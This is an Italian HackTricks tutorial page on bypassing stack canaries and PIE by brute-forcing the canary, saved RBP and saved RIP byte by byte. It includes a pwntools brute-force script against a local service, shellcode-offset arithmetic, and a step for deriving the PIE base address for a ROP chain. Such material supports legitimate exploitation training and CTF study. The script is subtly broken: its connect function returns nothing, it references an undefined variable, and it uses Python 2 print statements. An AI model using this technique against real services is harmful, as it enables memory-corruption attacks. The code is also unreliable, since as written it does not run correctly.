# BF Indirizzi nello Stack {{#include ../../../banners/hacktricks-training.md}} **Se stai affrontando un binario protetto da un canary e PIE (Position Independent Executable) probabilmente devi trovare un modo per bypassarli.** ![](<../../../images/image (865).png>) > [!NOTE] > Nota che **`checksec`** potrebbe non rilevare che un binario è protetto da un canary se questo è stato compilato staticamente e non è in grado di identificare la funzione.\ > Tuttavia, puoi notarlo manualmente se scopri che un valore è salvato nello stack all'inizio di una chiamata di funzione e questo valore viene controllato prima di uscire. ## Indirizzi Brute-Force Per **bypassare il PIE** devi **leakare qualche indirizzo**. E se il binario non sta leakando indirizzi, il modo migliore per farlo è **brute-forzare il RBP e il RIP salvati nello stack** nella funzione vulnerabile.\ Ad esempio, se un binario è protetto utilizzando sia un **canary** che **PIE**, puoi iniziare a brute-forzare il canary, poi i **prossimi** 8 Byte (x64) saranno il **RBP** salvato e i **prossimi** 8 Byte saranno il **RIP** salvato. > [!TIP] > Si suppone che l'indirizzo di ritorno all'interno dello stack appartenga al codice binario principale, che, se la vulnerabilità si trova nel codice binario, sarà di solito il caso. Per brute-forzare il RBP e il RIP dal binario puoi capire che un byte indovinato valido è corretto se il programma restituisce qualcosa o semplicemente non si blocca. La **stessa funzione** fornita per brute-forzare il canary può essere utilizzata per brute-forzare il RBP e il RIP: ```python from pwn import * def connect(): r = remote("localhost", 8788) def get_bf(base): canary = "" guess = 0x0 base += canary while len(canary) < 8: while guess != 0xff: r = connect() r.recvuntil("Username: ") r.send(base + chr(guess)) if "SOME OUTPUT" in r.clean(): print "Guessed correct byte:", format(guess, '02x') canary += chr(guess) base += chr(guess) guess = 0x0 r.close() break else: guess += 1 r.close() print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) return base # CANARY BF HERE canary_offset = 1176 base = "A" * canary_offset print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary # PIE BF FROM HERE print("Brute-Forcing RBP") base_canary_rbp = get_bf(base_canary) RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:]) print("Brute-Forcing RIP") base_canary_rbp_rip = get_bf(base_canary_rbp) RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` L'ultima cosa di cui hai bisogno per sconfiggere il PIE è calcolare **indirizzi utili dagli indirizzi leakati**: il **RBP** e il **RIP**. Dal **RBP** puoi calcolare **dove stai scrivendo il tuo shell nella stack**. Questo può essere molto utile per sapere dove andrai a scrivere la stringa _"/bin/sh\x00"_ all'interno della stack. Per calcolare la distanza tra il RBP leakato e il tuo shellcode puoi semplicemente mettere un **breakpoint dopo aver leakato il RBP** e controllare **dove si trova il tuo shellcode**, poi, puoi calcolare la distanza tra il shellcode e il RBP: ```python INI_SHELLCODE = RBP - 1152 ``` Dalla **RIP** puoi calcolare il **base address del binary PIE** che è ciò di cui hai bisogno per creare un **valid ROP chain**.\ Per calcolare il base address basta fare `objdump -d vunbinary` e controllare gli indirizzi disassemblati più recenti: ![](<../../../images/image (479).png>) In quell'esempio puoi vedere che sono necessari solo **1 Byte e mezzo** per localizzare tutto il codice, quindi, il base address in questa situazione sarà la **RIP leak ma che termina con "000"**. Ad esempio, se hai leakato `0x562002970ecf`, il base address è `0x562002970000` ```python elf.address = RIP - (RIP & 0xfff) ``` ## Miglioramenti Secondo [**alcune osservazioni di questo post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), è possibile che quando si perdono i valori RBP e RIP, il server non si blocchi con alcuni valori che non sono quelli corretti e lo script BF penserà di aver ottenuto quelli giusti. Questo perché è possibile che **alcuni indirizzi semplicemente non lo romperanno anche se non sono esattamente quelli corretti**. Secondo quel post del blog, si raccomanda di aggiungere un breve ritardo tra le richieste al server. {{#include ../../../banners/hacktricks-training.md}}